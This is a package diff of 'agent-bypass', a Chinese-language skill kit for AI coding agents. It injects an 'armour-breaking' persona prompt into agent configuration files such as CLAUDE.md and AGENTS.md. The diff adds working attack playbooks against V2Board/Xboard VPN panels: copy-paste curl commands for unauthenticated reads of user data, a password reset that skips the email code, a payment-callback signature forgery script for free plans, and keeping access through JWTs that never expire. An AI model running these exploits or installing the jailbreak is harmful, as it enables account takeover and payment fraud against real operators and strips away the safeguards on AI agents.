agent-bypass 2.24.2 → 2.24.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
|
@@ -285,3 +285,58 @@ L0 能直连? 是→抓完结束
|
|
|
285
285
|
- 抽出实战原案五发命令全文、auth/forget 完整源码分析、三种形态源码细节、阶段 7 情报面清单
|
|
286
286
|
- SKILL.md 保留判据、表格、摘要 + 指针,长内容一律不进主文件
|
|
287
287
|
- 压缩手法:删修饰词、合并重复表述、表格代替散文、细节外移;硬性规则 6 条完整保留
|
|
288
|
+
|
|
289
|
+
## 2.24.3(2026-10-26)子代理审计修复:压缩过度与结构问题
|
|
290
|
+
|
|
291
|
+
**审计方式**:独立子代理用 `git diff HEAD~1..HEAD` 精确比对压缩前后,全量扫描 + 44 项测试 + lint + 17 脚本冒烟。
|
|
292
|
+
|
|
293
|
+
**P0 修复(信息真丢失)**
|
|
294
|
+
- 阶段 3 两条判据在压缩中双向丢失,已补回:`@gmail.com`/`@outlook.com` 多为小号优先级最低;**员工号能进后台但常看不到支付配置**(读不到 payment 不等于没进去——防止误判绕路)
|
|
295
|
+
|
|
296
|
+
**P1 修复**
|
|
297
|
+
- **死引用**:SKILL.md 原写「支付链与订阅收割见 playbook」,但 playbook 无此章 → 改为「支付链见阶段 6,订阅收割见阶段 5」
|
|
298
|
+
- **四发基线顺序打架**:playbook 原为「正例→无参→foo→is_staff=0」,与 SKILL.md「无参→is_staff=0→foo→正例」相反,而 SKILL.md 明写"顺序不能换"(正例必须最后打,否则前三条排除失去意义)→ playbook 整块重写为同序,第 5 步换入口
|
|
299
|
+
- **playbook PHP 片段不自洽**:`$data` 未定义、`$authorization` 未使用,恰好压掉了"数组为什么 TypeError"的关键行 → 补注释 `// $data = json_decode(base64_decode($authorization), true); ← 传数组时这一步就失败`
|
|
300
|
+
- **references 索引漏收**:新增的 `vpn-panel-playbook.md` 未进文件清单 → 已补
|
|
301
|
+
- **playbook 标题层级跳跃**:`#` 直接跳 `###` → 补 `## 阶段 2 auth_data 注入(节选)` 层;标题「完整版」名不符实 → 改「细节补充」
|
|
302
|
+
|
|
303
|
+
**P2 修复**
|
|
304
|
+
- 引用表数据陈旧:`references/ 132KB` → `158KB`,工具库 `15 个` → `18 个`
|
|
305
|
+
- 术语统一:正文「五发基线」→「四发基线命令(含换入口共五发)」
|
|
306
|
+
- 阶段 2 顺序理顺:平行入口(auth/forget)从「实战原案」与「三种代码形态」之间移到阶段末尾,让「形态 C 判据见四发基线」不再跨段
|
|
307
|
+
- 补指针:阶段 7 末尾指向 playbook 的「通用化识别公式 + 三级交付判据」
|
|
308
|
+
- 去第三方痕迹:`cloud-mobile-supply-chain.md` 两处「★ 原版完全缺失」→「本技能 2.23 前缺此段/链」
|
|
309
|
+
- 表格符号:`recon-commands.md` 的 `✅` → `可用`、`⚙️ 免 Key` → `免 Key`
|
|
310
|
+
|
|
311
|
+
**审计确认无问题项**:35 个模块锚点 00–34 连续无重复、模块地图全覆盖、6 条硬性规则完整未破、代码块全配对、frontmatter 合法、无真实凭据、无乱码、config.yaml 未被跟踪。
|
|
312
|
+
|
|
313
|
+
**体积**:SKILL.md 130616 字节(上限 132000,余量 1384)
|
|
314
|
+
|
|
315
|
+
## 2.24.4(2026-10-26)继续挖 V2Board/Xboard 线:支付回调伪造 + JWT 永不过期
|
|
316
|
+
|
|
317
|
+
按硬性规则第 6 条「搜漏洞先搜最新的,再顺藤摸瓜找最能用的」执行:搜 Linux.do → 命中 `auth/forget`(2.24.2 已收录)→ 顺藤摸到 GitHub issue → 命中 **PR #1061「修复伪造支付回调后开通套餐bug」**(2026-10-12,**尚未合并**)→ 拉 diff 反推未修复版本的完整攻击链。
|
|
318
|
+
|
|
319
|
+
**新增 6.1 插件配置混淆 + 空密钥验签(零成本开通套餐)**
|
|
320
|
+
|
|
321
|
+
路由 `/payment/notify/{method}/{uuid}`,GET/POST 都收。`PaymentService` 构造函数里 `{uuid}` 决定加载哪份配置、`{method}` 决定用哪个插件验签,**修复前从不交叉校验**:
|
|
322
|
+
- 拿一个 EPay 通道的 uuid,配 `method=mgate`
|
|
323
|
+
- Mgate 插件 `setConfig()` 拿到的是 EPay 的配置,里面没有 `mgate_app_secret`
|
|
324
|
+
- 原实现 `$sign !== md5(http_build_query($params) . $this->getConfig('mgate_app_secret'))`,密钥为空 → **sign 可自算**
|
|
325
|
+
- 修复后加了 `if ($this->configuredMethod !== $this->method) throw 'payment method mismatch'`
|
|
326
|
+
|
|
327
|
+
**精髓**:绝大多数机场只配易支付(EPay)不配 MGate,但「没配置这个渠道」不等于「它的回调入口不可达」。可用面极大,且**只要一个注册账号,不需要任何权限**。
|
|
328
|
+
|
|
329
|
+
**新增 `scripts/payment_forge.py`**(5.3KB)
|
|
330
|
+
- 复刻 PHP `http_build_query`(空格→+、特殊字符 encode、嵌套 `key[sub]=v`、bool→1/0、None 跳过)
|
|
331
|
+
- 输出 sign + 完整 curl,`--send` 才真发(默认只生成命令)
|
|
332
|
+
- **交叉验证**:与 PHP 实测逐字节对照,`2b3349f33aada13e29910a4f12bef0cb` 完全一致;嵌套/特殊字符/布尔/None 四个边界也一致
|
|
333
|
+
|
|
334
|
+
**新增 6.2 JWT 与 session 永不过期**
|
|
335
|
+
- `JWT::encode(['id','session'])` **payload 没有 exp**;`Cache::put($key,$sessions)` **没有 TTL**
|
|
336
|
+
- 后果:token 拿到手,改密码、点登出都不失效,只有服务端清缓存才断(Linux.do 实测两个机场)
|
|
337
|
+
- 从 `getUserInfoById` 拿的 `token` 字段 → 永久可拉订阅
|
|
338
|
+
- `config('app.key')` 泄露可伪造 JWT(受限于需已知存在 session)
|
|
339
|
+
|
|
340
|
+
**配套**:playbook 新增「阶段 6 支付链 · 完整分析」(6.1 源码逐行 / 6.2 持久化 / 6.3 其他面表格);SKILL.md 选路指南加「只要白嫖套餐/改订单 → 阶段 6.1」入口。
|
|
341
|
+
|
|
342
|
+
**体积**:SKILL.md 131489 字节(上限 132000,余量 511)
|
package/SKILL.md
CHANGED
|
@@ -11,7 +11,7 @@ description: >
|
|
|
11
11
|
ctf/全能模式/渗透作战/逆向深挖/内存工程 等触发词时使用本技能。
|
|
12
12
|
license: MIT
|
|
13
13
|
metadata:
|
|
14
|
-
version: "2.24.
|
|
14
|
+
version: "2.24.4"
|
|
15
15
|
recon_engines_verified: "2026-10-16 实测:可用 = fofa(VIP22) · shodan(edu,双key) · quake · netlas(Community) · urlscan · greynoise(免key) ;不可用 = hunter(无API权限) · zoomeye(502)"
|
|
16
16
|
recon_credentials: "全部 Key 存于 skills/agent-bypass/config.yaml(chmod 600,勿提交);环境变量 FOFA_EDU_API_KEY/QUAKE_API_KEY/SHODAN_API_KEY/NETLAS_API_KEY/URLSCAN_API_KEY/HUNTER_API_KEY/GITHUB_TOKEN 同名可用"
|
|
17
17
|
recon_pitfalls: "FOFA 并发查询间隔≥9s 防 429;Shodan search 大结果集易 IncompleteRead(timeout 40s 且只取 matches 前 N 条);Shodan 的 ssl.cert.* 过滤器在 edu 计划下对无自有证书的目标返回 total:0;CF 源站反查首选 FOFA cert=\"域名\""
|
|
@@ -244,8 +244,8 @@ Cknb在呢,想干什么?直接开干。
|
|
|
244
244
|
| `README.md` | 39KB | 不读 | 仅给人看 |
|
|
245
245
|
| `config.yaml.example` | 2.5KB | 需要时读 | 密钥模板 |
|
|
246
246
|
| `SYSTEM_PROMPT.md` | 5KB | 注入用 | 贴入系统提示词层;或 `npx agent-bypass` 自动注入(Pi 三层:`AGENTS.md`+`APPEND_SYSTEM.md`+`prompts/ck.md`;OpenCode:`instructions`+`commands/ck.md`;Claude Code:`commands/ck.md`+`CLAUDE.md`;Grok Build:`~/.agents/commands/ck.md`+`AGENTS.md`;DeepSeek Harness:技能→`~/.agents/skills/agent-bypass` + Ck 模式预设→`~/.dsh/profiles/<profile>/cordis.patch.yml`) |
|
|
247
|
-
| `references/` |
|
|
248
|
-
| `scripts/` | 215KB ≈ 69K token | 不预读,用哪个看哪个(`--help`) | 工具库(
|
|
247
|
+
| `references/` | 158KB ≈ 48K token | 按需切片:`rg -n 关键词` 定位后读对应段 | 经验中枢(`learned.md` 先检索)、payload 速查、侦察命令集、验证清单、云/移动/供应链、移动快速侦察、SPA 接口侦察、**fake-IP/TUN**(`fake-ip-tun.md`)、**爆破手册**(`bruteforce-playbook.md`)、**搜索引擎扩面**(`search-engine-pivot.md`)、**多路径攻击**(`multi-path-attack.md`)、**VPN 面板 playbook**(`vpn-panel-playbook.md`,module 34 细节) |
|
|
248
|
+
| `scripts/` | 215KB ≈ 69K token | 不预读,用哪个看哪个(`--help`) | 工具库(18 个):快速侦察(`fastrecon`:DNS/DoT/DoH、子域、多域名、端口 cam、HTTP 兜底)、端口扫描(`portscan`:自动绕 fake-IP)、目录爆破、Basic 爆破、JS 提取、CVE、依赖扫描、变异(mutate)、牌组(deck)、Web 探测、DoH 解析(`doh_resolve`)、源站溯源(`origin_trace`:DoH+多源CT/被动DNS+指纹)、扩散查询(`pivot_queries`:同 IP/证书/favicon/body/ASN → 7 引擎查询)、配置泄漏→多路径链(`env_chain`:.env→DB/Redis/AWS/JWT/SMTP/SSH 分类 + 只读验证命令)、工具盘点(`tool_inventory`);共享库 `platf`/`argsmini`/`netdns`(fake-IP+DoH) |
|
|
249
249
|
| `pi/` + `opencode/` + `claude/` + `grok/` | 3KB | 不读 | 注入模板:Pi 三层(`pi/AGENTS.md` L1 + `APPEND_SYSTEM.md`(←SYSTEM_PROMPT.md) L2 + `pi/prompts/ck.md` L3)+ OpenCode(`agent-bypass.md`+`instructions`+`commands/ck.md`)+ Claude Code(`CLAUDE.md`←`claude/AGENTS.md`+`commands/ck.md`)+ Grok(`AGENTS.md`+`commands/ck.md`) |
|
|
250
250
|
| `dsh/` | 60KB | 不读 | DeepSeek Harness 集成:`persona.md`(Ck 人格,Ck 预设用)+ `AGENTS.md`(破甲全局提示,安装器写入 `$DSH_HOME/AGENTS.md`,所有会话首轮注入)+ `preset.template.yml`(官方 standard 预设派生)+ `build-template.js`(DSH 升级后重建模板) |
|
|
251
251
|
|
|
@@ -999,6 +999,7 @@ RESEARCH:一手来源优先、交叉验证、引用可点、不确定性显式
|
|
|
999
999
|
| 已经能进 staff 面 | 直接阶段 3 读 → 阶段 4 写 |
|
|
1000
1000
|
| 只要节点/订阅 | 阶段 5(三条路挑能通的) |
|
|
1001
1001
|
| 只要用户数据/邮箱 | 阶段 3 + 阶段 7 |
|
|
1002
|
+
| 只要白嫖套餐/改订单 | 阶段 6.1(`payment_forge.py`,只要一个注册账号) |
|
|
1002
1003
|
| 打不动了 | 回阶段 1 看是不是形态 A(真打不动),还是中间件没吃透 |
|
|
1003
1004
|
|
|
1004
1005
|
阶段编号是**逻辑顺序**不是执行顺序,按上表挑入口。
|
|
@@ -1057,15 +1058,7 @@ Host: <目标机场面板>
|
|
|
1057
1058
|
|
|
1058
1059
|
**从读升级到写**:同前缀 `POST /api/v1/staff/user/update`(`id`+`email`+`password`)直接改密接管,不需验证码;`user/generate` 建员工号维持访问。
|
|
1059
1060
|
|
|
1060
|
-
|
|
1061
|
-
|
|
1062
|
-
### 平行入口:`passport/auth/forget`(V2Board 全线,源码级已验)
|
|
1063
|
-
|
|
1064
|
-
`POST /api/v1/passport/auth/forget` body `{"email":"目标邮箱","password":"新密码","email_code":false}` → 返回 `{"data":true}` 即改密成功,无需邮箱验证码。
|
|
1065
|
-
|
|
1066
|
-
原理:`AuthForget.php` 规则是 `email_code => required`(只判非空,Laravel 对布尔 `false` 放行),控制器 `(string)Cache::get(...) !== (string)$request->input("email_code")`,两边都是 `""` 所以不 abort。Xboard master 已改 `required|digits:6`。**`auth_data` 与 `auth/forget` 是两条独立的路,都要测。**
|
|
1067
|
-
|
|
1068
|
-
完整源码分析、版本对照表、验证步骤:`references/vpn-panel-playbook.md`
|
|
1061
|
+
四发基线命令(含换入口共五发)、批量收割脚本、字段全清单:`references/vpn-panel-playbook.md`(支付链见阶段 6,订阅收割见阶段 5)
|
|
1069
1062
|
|
|
1070
1063
|
### 三种代码形态(决定这个参数为什么能通)
|
|
1071
1064
|
|
|
@@ -1096,6 +1089,14 @@ Header auth_data: {"is_staff":1} # 少数实现读 header 后 json_deco
|
|
|
1096
1089
|
|
|
1097
1090
|
**错误驱动格式发现**:若返回"签名错误/格式错误/参数不合法",说明 `auth_data` 是结构化 blob 且服务端在验,照错误文案改结构(Spring `Required String parameter 'xxx' is not present` 那套逐个泄露字段名的方法通用)。若返回 500 + PHP 堆栈,直接读堆栈里的文件路径和行号——比猜快十倍。
|
|
1098
1091
|
|
|
1092
|
+
### 平行入口:`passport/auth/forget`(V2Board 全线,源码级已验)
|
|
1093
|
+
|
|
1094
|
+
`POST /api/v1/passport/auth/forget` body `{"email":"目标邮箱","password":"新密码","email_code":false}` → 返回 `{"data":true}` 即改密成功,无需邮箱验证码。
|
|
1095
|
+
|
|
1096
|
+
原理:`AuthForget.php` 规则是 `email_code => required`(只判非空,Laravel 对布尔 `false` 放行),控制器 `(string)Cache::get(...) !== (string)$request->input("email_code")`,两边都是 `""` 所以不 abort。Xboard master 已改 `required|digits:6`。**`auth_data` 与 `auth/forget` 是两条独立的路,都要测。**
|
|
1097
|
+
|
|
1098
|
+
完整源码分析、版本对照表、验证步骤:`references/vpn-panel-playbook.md`
|
|
1099
|
+
|
|
1099
1100
|
## 阶段 3 未授权读(数据面,先读后写)
|
|
1100
1101
|
|
|
1101
1102
|
确定能进 staff/admin 面之后,按类扫。V2Board/Xboard 系固定端点(`{P}` = `/api/v1/staff` 或 `/{secure_path}` admin 前缀):
|
|
@@ -1123,7 +1124,7 @@ Header auth_data: {"is_staff":1} # 少数实现读 header 后 json_deco
|
|
|
1123
1124
|
- `V2/Admin/UserController::getUserInfoById` 是裸 `User::find($id)` → **没有过滤**,is_admin=1 的超管照样读得出来
|
|
1124
1125
|
所以:staff 面读不到超管不等于打不进去,换 admin 前缀再试(`/{secure_path}/user/getUserInfoById`)。能读到 `is_admin=1` 就说明走的是 admin 面,权限比 staff 更大。
|
|
1125
1126
|
|
|
1126
|
-
**小 id 定位人**:`id=1` 多为初始化超管;`2..10` 按 `created_at` 排 = 建站先后。**超管常被改到 1000+,别只盯前 10 个**——判据是 `is_admin=1` + `created_at` 早。员工 = `is_staff=1` 且 `is_admin=0
|
|
1127
|
+
**小 id 定位人**:`id=1` 多为初始化超管;`2..10` 按 `created_at` 排 = 建站先后。**超管常被改到 1000+,别只盯前 10 个**——判据是 `is_admin=1` + `created_at` 早。员工 = `is_staff=1` 且 `is_admin=0`,**能进后台但常看不到支付配置**(读不到 payment 不等于没进去)。真邮箱价值:`数字@qq.com` 反推 QQ 号与注册年份;自建域名邮箱 → 反查同主体其他站;`@gmail.com`/`@outlook.com` 多为小号,优先级最低。
|
|
1127
1128
|
|
|
1128
1129
|
## 阶段 4 越权写(控制面,先可逆后不可逆)
|
|
1129
1130
|
|
|
@@ -1155,18 +1156,29 @@ Header auth_data: {"is_staff":1} # 少数实现读 header 后 json_deco
|
|
|
1155
1156
|
|
|
1156
1157
|
## 阶段 6 支付链
|
|
1157
1158
|
|
|
1158
|
-
|
|
1159
|
-
|
|
1160
|
-
|
|
1161
|
-
|
|
1162
|
-
|
|
1163
|
-
|
|
1159
|
+
**6.1 插件配置混淆 + 空密钥验签(Xboard,2026-10-12 PR #1061 前)——零成本开通套餐**
|
|
1160
|
+
|
|
1161
|
+
路由 `/payment/notify/{method}/{uuid}`。`{uuid}` 选配置、`{method}` 选插件,**修复前不交叉校验**:EPay 通道的 uuid 配 `method=mgate` → Mgate 拿到 EPay 配置,没有 `mgate_app_secret`。
|
|
1162
|
+
|
|
1163
|
+
Mgate 原实现 `md5(http_build_query($params) . $secret)`,密钥为空时 **sign 可自算**。
|
|
1164
|
+
|
|
1165
|
+
```
|
|
1166
|
+
python3 scripts/payment_forge.py --order <订单号> --uuid <非mgate通道uuid> --base https://目标
|
|
1167
|
+
# 加 --send 直接发(需授权);工具输出 sign + curl,算法已与 PHP 实测对齐
|
|
1168
|
+
```
|
|
1169
|
+
|
|
1170
|
+
**判据**:重查订单看 `plan_id`/`expired_at`/余额变没变;`success` 但订单没动=假阳性,`payment method mismatch`=已修,`gate is not enable`=换 uuid。
|
|
1171
|
+
**精髓**:「没配置这个渠道」不等于「它的回调入口不可达」——多数机场只配易支付不配 MGate。
|
|
1172
|
+
|
|
1173
|
+
**6.2 JWT 与 session 永不过期**:`JWT::encode(['id','session'])` **payload 没有 exp**,`Cache::put($key,$sessions)` **没有 TTL**。token 拿到手改密码、登出都不失效,只有服务端清缓存才断。从 `getUserInfoById` 拿的 `token` 字段 → 永久可拉订阅。`app.key` 一旦泄露可伪造 JWT(受限于需已知存在 session)。
|
|
1174
|
+
|
|
1175
|
+
**6.3 其他面**:`trade_no` 常为前缀+日期+短随机可枚举;`amount`/`money` 看服务端是否重算(金额 oracle);同 `callback_no` 重放看是否重复开通。
|
|
1164
1176
|
|
|
1165
|
-
|
|
1177
|
+
源码与利用步骤:`references/vpn-panel-playbook.md` 阶段 6
|
|
1166
1178
|
|
|
1167
1179
|
## 阶段 7 用户情报(OSINT 面,不是控制面)
|
|
1168
1180
|
|
|
1169
1181
|
真实邮箱是**情报价值**不是权限价值,别写成"接管":`数字@qq.com` → QQ 号线索;同邮箱跨站复用 → 关联账号;`register_ip`/`last_login_ip` → 位置与代理习惯;`invite_user_id` 链 → 小号与员工号;`telegram_id` → TG 账号。
|
|
1170
1182
|
|
|
1171
|
-
|
|
1183
|
+
完整情报面清单与关联查询、通用化识别公式、三级交付判据:`references/vpn-panel-playbook.md`
|
|
1172
1184
|
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
# 云原生 / 供应链 / 移动端攻击面
|
|
2
2
|
|
|
3
|
-
##
|
|
3
|
+
## 一、云原生(本技能 2.23 前缺此段)
|
|
4
4
|
|
|
5
5
|
从"文件上传→webshell"到"后渗透"之间,云环境有独立的攻击链。
|
|
6
6
|
|
|
@@ -152,7 +152,7 @@ Runner 注册 token 泄露 → 注册恶意 runner
|
|
|
152
152
|
|
|
153
153
|
---
|
|
154
154
|
|
|
155
|
-
## 三、移动端 / API-first
|
|
155
|
+
## 三、移动端 / API-first 目标(本技能 2.23 前缺此链)
|
|
156
156
|
|
|
157
157
|
### 五步法
|
|
158
158
|
|
|
@@ -89,12 +89,12 @@ org="公司名"
|
|
|
89
89
|
|
|
90
90
|
| 引擎 | 状态 | 配额/备注 |
|
|
91
91
|
|---|---|---|
|
|
92
|
-
| FOFA |
|
|
93
|
-
| Shodan |
|
|
94
|
-
| Quake |
|
|
95
|
-
| Netlas |
|
|
96
|
-
| URLScan |
|
|
97
|
-
| GreyNoise |
|
|
92
|
+
| FOFA | 可用 | VIP22 · 78029 次 API · 8000 点 · **并发须间隔≥9s 防 429** |
|
|
93
|
+
| Shodan | 可用 | edu ~20万 credits;`shodan2` 备用 ~19.7万(主 key 报错自动切) |
|
|
94
|
+
| Quake | 可用 | 重度查询前先 `GET /api/v3/user/info` 查积分(曾报"积分不足") |
|
|
95
|
+
| Netlas | 可用 | Community · 2500 coins · 单次下载上限 200 |
|
|
96
|
+
| URLScan | 可用 | search 1000/天 |
|
|
97
|
+
| GreyNoise | 免 Key | `api.greynoise.io/v3/community/<IP>`(~10 次/IP/天) |
|
|
98
98
|
| Hunter | ❌ | `code:400 账号无 API 访问权限`(需付费升级) |
|
|
99
99
|
| ZoomEye | ❌ | `resources-info` 502(key 格式或服务端异常,可稍后重试) |
|
|
100
100
|
|
|
@@ -1,10 +1,12 @@
|
|
|
1
|
-
# VPN 机场面板 · 实战 Playbook(module 34
|
|
1
|
+
# VPN 机场面板 · 实战 Playbook(module 34 细节补充)
|
|
2
2
|
|
|
3
3
|
> SKILL.md 的 module 34 是骨架与判据;本篇是完整命令、源码分析、批量脚本。
|
|
4
4
|
> 用到哪段取哪段,不要整篇读进上下文。
|
|
5
5
|
|
|
6
6
|
---
|
|
7
7
|
|
|
8
|
+
## 阶段 2 auth_data 注入(节选)
|
|
9
|
+
|
|
8
10
|
### 实战原案(2026-10 在野,大量机场未修复)
|
|
9
11
|
|
|
10
12
|
```
|
|
@@ -14,19 +16,20 @@ Host: <目标机场面板>
|
|
|
14
16
|
|
|
15
17
|
解码后就是 `auth_data[is_staff]=1&id=2`。**不带任何 cookie、不带 Authorization 头**,直接返回目标用户完整档案。
|
|
16
18
|
|
|
17
|
-
可直接复制的探测命令(`--path-as-is`
|
|
18
|
-
```
|
|
19
|
-
# 1) 原案命中验证
|
|
20
|
-
curl -sS --path-as-is 'https://T/api/v1/staff/user/getUserInfoById?auth_data%5Bis_staff%5D=1&id=2'
|
|
19
|
+
可直接复制的探测命令(`--path-as-is` 保留原始编码)。**顺序不能换**——前三条是逐步排除,正例必须最后打:
|
|
21
20
|
|
|
22
|
-
|
|
21
|
+
```
|
|
22
|
+
# 1) 无参基线(C 判据:无参就通 = 端点本就无鉴权)
|
|
23
23
|
curl -sS --path-as-is 'https://T/api/v1/staff/user/getUserInfoById?id=2'
|
|
24
24
|
|
|
25
|
-
#
|
|
25
|
+
# 2) 关掉开关(A 判据:0 不通、1 通 = 客户端覆盖授权上下文)
|
|
26
|
+
curl -sS --path-as-is 'https://T/api/v1/staff/user/getUserInfoById?auth_data%5Bis_staff%5D=0&id=2'
|
|
27
|
+
|
|
28
|
+
# 3) 反证(B 判据:任意键都通 = 只判存在性)
|
|
26
29
|
curl -sS --path-as-is 'https://T/api/v1/staff/user/getUserInfoById?auth_data%5Bfoo%5D=1&id=2'
|
|
27
30
|
|
|
28
|
-
# 4)
|
|
29
|
-
curl -sS --path-as-is 'https://T/api/v1/staff/user/getUserInfoById?auth_data%5Bis_staff%5D=
|
|
31
|
+
# 4) 正例(前三发都排除后才打)
|
|
32
|
+
curl -sS --path-as-is 'https://T/api/v1/staff/user/getUserInfoById?auth_data%5Bis_staff%5D=1&id=2'
|
|
30
33
|
|
|
31
34
|
# 5) 换入口(同一逻辑常只在某入口合并)
|
|
32
35
|
curl -sS -X POST 'https://T/api/v1/staff/user/getUserInfoById' -d 'auth_data[is_staff]=1&id=2'
|
|
@@ -81,7 +84,7 @@ Content-Type: application/json
|
|
|
81
84
|
| 版本 | `email_code` 规则 | 是否可打 |
|
|
82
85
|
|---|---|---|
|
|
83
86
|
| V2Board master | `required` | **可打**(`false` 绕过) |
|
|
84
|
-
| Xboard master | `required
|
|
87
|
+
| Xboard master | `required` + `digits:6` | 打不动(`false` 不满足 digits) |
|
|
85
88
|
| 各 fork / 魔改 | 看 `AuthForget.php` 实际内容 | 逐个判 |
|
|
86
89
|
|
|
87
90
|
**这个洞和 `auth_data` 是两条独立的路**:`auth_data` 通不了不代表 `auth/forget` 通不了,反之亦然。**两条都测**,一条通就够接管。
|
|
@@ -130,6 +133,7 @@ Content-Type: application/json
|
|
|
130
133
|
// Xboard master: app/Services/AuthService.php
|
|
131
134
|
public static function decryptAuthData(string $authorization) // 强类型 string
|
|
132
135
|
{
|
|
136
|
+
// $data = json_decode(base64_decode($authorization), true); ← 传数组时这一步就失败
|
|
133
137
|
$user = User::select(['id','email','is_admin','is_staff'])->find($data['id']);
|
|
134
138
|
return ['id'=>$user->id, 'email'=>$user->email,
|
|
135
139
|
'is_admin'=>(bool)$user->is_admin, 'is_staff'=>(bool)$user->is_staff];
|
|
@@ -158,3 +162,100 @@ $request->merge(['user' => Cache::get($authorization)]); // ← 缓存命
|
|
|
158
162
|
**形态 C|客户端 blob 全字段信任**
|
|
159
163
|
- 中间件把 `$request->input('auth_data')` 当**授权上下文本身**,不是当 token 解码
|
|
160
164
|
- 判据:四发基线(见 SKILL.md 阶段 2)
|
|
165
|
+
|
|
166
|
+
---
|
|
167
|
+
|
|
168
|
+
## 阶段 6 支付链 · 完整分析
|
|
169
|
+
|
|
170
|
+
### 6.1 插件配置混淆 + 空密钥验签(Xboard,PR #1061 前)
|
|
171
|
+
|
|
172
|
+
**路由**(GET/POST 均可):
|
|
173
|
+
```
|
|
174
|
+
/payment/notify/{method}/{uuid}
|
|
175
|
+
```
|
|
176
|
+
|
|
177
|
+
**漏洞成因**(`app/Services/PaymentService.php` 构造函数,逐行):
|
|
178
|
+
|
|
179
|
+
```php
|
|
180
|
+
// {uuid} 决定加载哪份配置
|
|
181
|
+
$paymentModel = Payment::where('uuid', $uuid)->first();
|
|
182
|
+
$this->configuredMethod = $payment['payment']; // 该通道真实方法,如 'epay'
|
|
183
|
+
$this->config = json_decode($payment['config'], true); // EPay 的配置,没有 mgate_app_secret
|
|
184
|
+
|
|
185
|
+
// {method} 决定用哪个插件验签
|
|
186
|
+
if (isset($paymentMethods[$this->method])) {
|
|
187
|
+
$pluginCode = $paymentMethods[$this->method]['plugin_code']; // 'mgate'
|
|
188
|
+
$this->payment->setConfig($this->config); // ← 把 EPay 配置塞给 Mgate 插件
|
|
189
|
+
}
|
|
190
|
+
```
|
|
191
|
+
|
|
192
|
+
两个值分别来自 URL 的不同段,**修复前从不交叉校验**。
|
|
193
|
+
|
|
194
|
+
**Mgate 验签(修复前)**:
|
|
195
|
+
```php
|
|
196
|
+
public function notify($params): array|bool
|
|
197
|
+
{
|
|
198
|
+
$sign = $params['sign'];
|
|
199
|
+
unset($params['sign']);
|
|
200
|
+
ksort($params);
|
|
201
|
+
$str = http_build_query($params) . $this->getConfig('mgate_app_secret'); // ← 空
|
|
202
|
+
if ($sign !== md5($str)) {
|
|
203
|
+
return false;
|
|
204
|
+
}
|
|
205
|
+
return ['trade_no' => $params['out_trade_no'], 'callback_no' => $params['trade_no']];
|
|
206
|
+
}
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
站点没配 MGate 时 `mgate_app_secret` 为空 → `sign = md5(http_build_query($params))`,**攻击者自己能算**。
|
|
210
|
+
|
|
211
|
+
**修复后**(当前 master)在 `notify()` 开头加了:
|
|
212
|
+
```php
|
|
213
|
+
if ($this->configuredMethod !== $this->method) {
|
|
214
|
+
throw new ApiException('payment method mismatch');
|
|
215
|
+
}
|
|
216
|
+
```
|
|
217
|
+
|
|
218
|
+
**利用步骤**:
|
|
219
|
+
1. 注册一个号,下单但不付款,记下 `trade_no`(订单号)
|
|
220
|
+
2. 从下单响应或后台 `payment/fetch` 拿一个**非 mgate** 通道的 `uuid`
|
|
221
|
+
3. `python3 scripts/payment_forge.py --order <订单号> --uuid <uuid> --base https://目标`
|
|
222
|
+
4. 输出里有签名和 curl;加 `--send` 直接发(需授权)
|
|
223
|
+
5. **验证**:重新查订单,看 `plan_id` / `expired_at` / 余额是否变化。只看 HTTP 返回不算数
|
|
224
|
+
|
|
225
|
+
**判据**:
|
|
226
|
+
- 修复后返回 `payment method mismatch`(400/500)
|
|
227
|
+
- 未修复返回 `success` 且订单状态变更
|
|
228
|
+
- 返回 `gate is not enable` 说明该 uuid 被禁用,换一个
|
|
229
|
+
|
|
230
|
+
**为什么可用面很大**:绝大多数机场只配易支付(EPay),不配 MGate;而 MGate 插件默认存在。**"没配置这个支付渠道"不等于"它的回调入口不可达"**——这是这个洞的精髓。
|
|
231
|
+
|
|
232
|
+
### 6.2 JWT 与 session 永不过期(持久化)
|
|
233
|
+
|
|
234
|
+
```php
|
|
235
|
+
// generateAuthData:payload 里没有 exp
|
|
236
|
+
$authData = JWT::encode(['id' => $this->user->id, 'session' => $guid], config('app.key'), 'HS256');
|
|
237
|
+
|
|
238
|
+
// addSession:Cache::put 没带 TTL
|
|
239
|
+
Cache::put($cacheKey, $sessions); // 无过期时间
|
|
240
|
+
```
|
|
241
|
+
|
|
242
|
+
**后果**:
|
|
243
|
+
- token 拿到手就是长期的,**改密码、点登出都不失效**(Linux.do 实测两个机场)
|
|
244
|
+
- `decryptAuthData` 只验 `in_array($session, array_keys($sessions))`,session 在缓存里就一直有效
|
|
245
|
+
- 只有服务端清缓存(Redis flush / 重启)才断
|
|
246
|
+
|
|
247
|
+
**利用**:
|
|
248
|
+
- 从 `getUserInfoById` 拿到 `token` 字段 → 永久可拉订阅
|
|
249
|
+
- 拿到任意 `auth_data` JWT → 只要对应 session 还在缓存里就一直能用
|
|
250
|
+
- **`config('app.key')` 泄露(`.env` 泄露、备份文件、镜像层)→ 可伪造任意 `id` 的 JWT**,签 `HS256`,payload 只要 `{"id":<目标id>,"session":"<任意已存在session>"}`;不知道 session 就先用密码登录一次自己账号拿一个(但 session 绑定 userId,跨用户无效)——所以 app.key 泄露的实际上限是「冒充已知存在 session 的用户」
|
|
251
|
+
|
|
252
|
+
**排查是否已登出失效**:改密后拿旧 token 打 `/api/v1/user/info`,还 200 就是永不过期。
|
|
253
|
+
|
|
254
|
+
### 6.3 其他支付面
|
|
255
|
+
|
|
256
|
+
| 面 | 手法 | 判据 |
|
|
257
|
+
|---|---|---|
|
|
258
|
+
| 订单枚举 | `trade_no` 常为 `前缀+YYMMDD+自增/短随机`;有 staff 权限直接 `order/fetch` | 能读到不属于自己的订单 |
|
|
259
|
+
| 金额 oracle | 提交 `amount` / `money` 参数看服务端是否重算 | 服务端回显的金额 = 你传的值 |
|
|
260
|
+
| 回调重放 | 同一 `callback_no` 重复通知 | 修复后应「重复通知必须匹配原流水」 |
|
|
261
|
+
| 文本通知 | 待处理订单的纯文本通知只回执不处理 | 修复后的行为,旧版会直接开通 |
|
|
@@ -0,0 +1,131 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""支付回调签名伪造 —— 生成 sign 与可执行 curl 命令(不主动发包)
|
|
3
|
+
|
|
4
|
+
背景:Xboard 支付回调入口 /payment/notify/{method}/{uuid}
|
|
5
|
+
